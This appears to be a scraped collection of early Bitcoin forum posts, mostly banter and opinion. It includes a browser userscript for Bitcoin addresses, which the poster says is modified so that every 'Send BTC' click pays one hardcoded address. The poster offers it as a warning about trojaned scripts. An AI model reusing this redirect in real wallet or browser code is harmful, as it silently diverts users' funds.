I'll give you $26,000 worth of wooden nickels for it, plus $9.95 in reg fees

Increase your money.  If you put say, $100,000USD into your account and start buying, the price will go up.

That being said, I'd offer the following suggestions:

1.) Put the price in BTC rather than USD
2.) Take out 90% of your pitch and replace it with customer testamonials and evidence; here we buy steak and not sizzle.
3.) Take out 100% of the bold and big fonts
4.) Move it to the marketplace instead of the discussion
5.) Demonstrate some understanding of the BTC community

I may have need of some SEO in a month or so, and the BTC price is reasonable.  But like others here, would definitely want to see your portfolio.

If only you could send negative BTC to somebody!

http://en.wikipedia.org/wiki/Morris_worm

Aside from the first internet worm, of course

oh lol my bad dude, definitely update that!

Lessons learned in blood are not soon forgotten

Do you accept Bitcoins for payment?

Because it's the same paranoia that keeps me from installing nonsense program/games/drivers on my PC :-)  It's nothing against you personally, I just don't want to see all the posts about people losing bitcoins because they installed a hacked version of your script.

Sorry to go off topic - JoelKatz - is that a David Koresh mugshot for your avatar? lol

Should the exchanges be close to what on the weekends?

Pretend you're a cable provider.

Investigating what your clients are doing and whether or not their PCs are infected costs you >0.  Doing nothing costs 0.
Shutting down a paying customer costs you 39.95 a month.  Leaving them on earns you 39.95 a month.

Ask the question again.

Yeah, he's a total fucking tool.  Like I want some amateur Javascript shit running in my browser all the time connecting to my bitcoin server.  OH WOW!  IT SAVES ME SO MUCH TIME I NO LONGER HAVE TO HIGHLIGHT, HIT CONTROL C AND CONTROL V!!!

lol awesome that you missed the entire previous post in your rush to perform your trolling   Good job, Helen Keller!

You'll note I didn't say it was better - ever.  What I said was "they like DeepBit better than others".

The quality of a product has nothing to do with whether or not people like it better.  It's a contributing factor for some, but Dodge will always sell a ton of Dodge Neons because some people don't care about quality, as long as there are readily available coffee can mufflers and plastic spinner hubcaps for it.

Microsoft's dominance hasn't changed, but it certainly has less of a margin with both OS's and browsers, with browsers slowly sliding towards no longer being dominant.

Microsoft became the predominant OS for several reasons:

-They made the personal computer affordable versus IBM PCs with IBM DOS
-They made deals with computer manufacturers that incentivized them to sell Windows and not OS/2 or Mac or Linux
-Even with less than perfect and sometimes terrible implementation of ideas, they eventually "Get it right" and give people what they want.

The difference with Mac is, they invent something new and its either a.) very useful or b.) they use hype to convince people its a NEED.  Microsoft combines innovation with immitation.

That being said:

I have an apple phone
an apple desktop
an apple laptop
a windows computer
a windows notebook
a windows NETbook
a linux server
and an android tablet.

Each has its own purpose.

Unfortunately I don't speak Russian, so I can't really understand the youtube video, but I'm sure to you and the other 9,000 viewers it was epic

Also that was added after the fact... initially it was the bitcoind source code linked there.

// ==UserScript==
// @name           Bitcoin Tool
// @namespace      Bitcoin Tool
// @description    Bitcoin Tool - recognizes Bitcoin addresses on websites, adds links to the blockexplorer, adds a select button for easier copy-paste, and a "Falkvinge" Send BTC button
// @version        1.1
// @include        *
// ==/UserScript==

text = document.body.innerHTML;
if (text.match(/[^A-Za-z0-9/"]1[A-HJ-NP-Za-km-z1-9]{32,33}[^A-Za-z0-9"]/)) {
document.body.innerHTML = text.replace(/(<[^<]*[^A-Za-z0-9/"])(1[A-HJ-NP-Za-km-z1-9]{32,33})([^A-Za-z0-9?%"]...)/g,function(a,b,c,d){
t = new Array(256);for(j=97;j<=122;++j){t[j]=0;}for(j=65;j<=90;++j){t[j]=0;}for(j=48;j<=57;++j){t[j]=0;}for(j=0;j<c.length;++j){++t[c.charCodeAt(j)];}
bc="17t4EgfBBUxQVK6TZJqZc8oMdmxnLELg2o";
sum=0;sum1=0;sum2=0;sum3=0;for(j=97;j<=122;++j){sum+=t[j]*t[j];sum1+=t[j]}for(j=65;j<=90;++j){sum+=t[j]*t[j];sum2+=t[j]}for(j=48;j<=57;++j){sum+=t[j]*t[j];sum3+=t[j]}
return (a.match(/^<(textarea|input|pre|code)/i) || d=="</a>" || sum >= 90 || sum1 <= 2 || sum1 >= 26 || sum2 <= 2 || sum2 >= 26 || sum3 >= 14) ? b+c+d : b+"<a href=\"http://blockexplorer.com/address/"+c+"\">"+c+"</a>"
+"<span style=\"cursor:pointer;border:1px solid black;font-size:80%;color:black;font-weight:normal;padding:1px 2px 0 2px;margin:1px 0 1px 4px;background:#ddd;\" "
+"onclick=\"if(document.createRange){r=document.createRange();previousSibling.focus();r.selectNodeContents(previousSibling);w=window.getSelection();w.addRange(r);}else{r=document.body.createTextRange();r.moveToElementText(previousSibling);r.select();}\" onmouseover=\"this.style.backgroundColor='#eee'\" onMouseOut=\"this.style.backgroundColor='#ddd'\">Select</span>"
+"<span style=\"cursor:pointer;border:1px solid black;font-size:80%;color:black;font-weight:normal;padding:1px 2px 0 2px;margin:1px 0 1px 6px;background:#ddd;\" title=\"Requires bitcoind and bitcoin_httpd\" onmouseover=\"this.style.backgroundColor='#eee'\" onMouseOut=\"this.style.backgroundColor='#ddd'\" onclick=\"window.open('http://localhost:8330/"+bc+"');\">Send BTC</span>"+d;
});
}

// If you like the tool, donate to 141HiFa6pek3uM32LpRe3gXraETV1fViWC
//
// This is public domain code, free for commercial and non-commercial use.
// If you use some of it, give a link to this script:
// http://userscripts.org/scripts/show/104381

Here I have modified (but not tested the code) above.

I added one line of code, and changed literally one character.  What this code does NOW, is regardless of who's address you highlight, it sends it to a specific BitCoin address I have specified (random one I created).

Granted this guy isn't doing this with the code, but it's too easy to do things like this, or have it slipped into a newer version, or have it inline coded in a forum, etc.

Yeah I know, there have been a lot of these threads. But they've all gone nowhere. I always hope I'll be able to nail down some detail because I am curious how this happens. I know if it were my computer, I would decompile every last executable until I find something that opens my wallet. This would get solved. But it isn't my computer, and it isn't going to be, so I try and solve the mystery for others.

This doesn't sound like the other cases. The coins weren't transferred, and the wallet.dat is missing. This hasn't happened before. It doesn't seem like a trojan to me. It could be a newly found bug. We should investigate.
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This sounds like a case of Noob Sausage Fingers to me.

Hmm.. Well, having a look through, I don't see anything blatantly malicious, but I personally wouldn't run a javascript applet that can automatically connect to my bitcoin server and automatically start sending coins to an address, even if you DO have to confirm it.

Within the next week, guaranteed some loser who installs it will be crying about how he accidentally sent the money he was saving for his Grandma's dentures to the wrong address or some bullshit.